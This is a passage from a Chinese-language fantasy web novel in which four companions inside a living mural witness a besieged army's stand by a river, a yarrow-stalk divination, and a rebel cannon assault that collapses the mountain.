时苑:“西出阳关无故人(注2)。” “对对对!”冯文并激动到差点鼓掌,“我就说分组的时候看你们挺眼熟的,果然是对得上暗号的人!” “这不也是小学生必备古诗词吗?”邱德菲抱着手幽幽道,“人人都会背。” 冯文并一时语塞。 “还有关键信息没出来。”周蕴总结,“但可以肯定的是我们的方向没有错,只是你们......” 周蕴看了眼冯文并又看了眼邱德菲。 “还走了吗?”时苑替她接了话。 从如今的形势上看,四人的渊源显然不是偶然相遇组个队那么简单。 “都到这了。”冯文并似是已经经历过挣扎下定了决心,说出来反而松了口气,“不管真的假的要亲眼看了才知道。你们说得对,要有希望,不能断章取义,自己骗自己。走起,去看看究竟。” “邱邱?”周蕴问。 “老冯都没走,我怎么可能走。”邱德菲冲冯文并翻了白眼,“我倒要看看这家伙有什么难言之隐。” “还有,为什么单单我的暗号跟你们的不一样。” 末了她还悄悄小声补了一句:“仔细想想也没什么好怕的。” “是啊,这不有我们嘛。”冯文并满眼深情地说道。 周蕴只觉得全身鸡皮疙瘩都起来了,邱德菲嗤了一声,立即转过头去,不让这人脏了眼睛。 画里,天亮了。 叛军绝对不可能允许在眼皮底下存这么个隐患,短暂修整后就向山里发动进攻,他们尝试了各种方法,包括趁夜色潜行过江、划船渡江,射火箭烧山等,但每次都在四人和援军的配合下惊险逃过。 靠滔滔的江水和得天独厚的天堑,场面一时僵持住了。 时间又被撵得飞快地跑起来。 半个月后。 粮草已经见底,敌军的袭击越发频繁,手段也愈加高明,被困的消息传不出去,会不会有人前来接应尚未可知,士气一时又跌到谷底。 这夜里,小甲讲完故事,从袖中取出了几根草。 “这是什么?”冯文并和军民们一样瞪大了眼睛围上去。 “蓍草,占卜用的。”周蕴替小甲回答道。 “他想靠这个鼓舞士气?等会要是结果不好......”邱德菲不再说下去。 “怎么办?他这是在问我们吗?我们啥也不知道啊。”冯文并一脸绝望,关心的点还是一如既往的清奇。 时苑推测道:“小甲应该是相信才敢这样。” “这怎么占卜的啊?要不我们每个人在这几根草上动一动?”冯文并斟酌着说,随后轻轻一挥,一滴露水落在蓍草上。 三人虽然无法理解他九曲十八弯的脑回路,但也鬼使神差地照着做,风带着“萤光”和扬沙绕着蓍草转了几圈。 卦象成,因为太小了,周蕴辨别了好一会: “地泽临,初九变地水师卦。” 冯文并:“姐,说些我们听得懂的呗。” “大战迫在眉睫,出征有优势。”周蕴一面回忆一面解释。 这些是在遥远的梦里她闲着没事塞进脑子里的自以为“没什么大用”的知识:“外有应,可能有人来接应了。” 众人的眼睛都亮了起来,随即周蕴又补了一句:“也有可能是敌军。” 众人:“......” 话音刚落,整个壁画和沙盘突然抖了一抖,好像跟真的地震一样。众人循着火光地方望去,见叛军竟拉来了两架大炮,直接将山脚炸塌了,江流被滚落的山石截住,敌军趁此机会渡了江。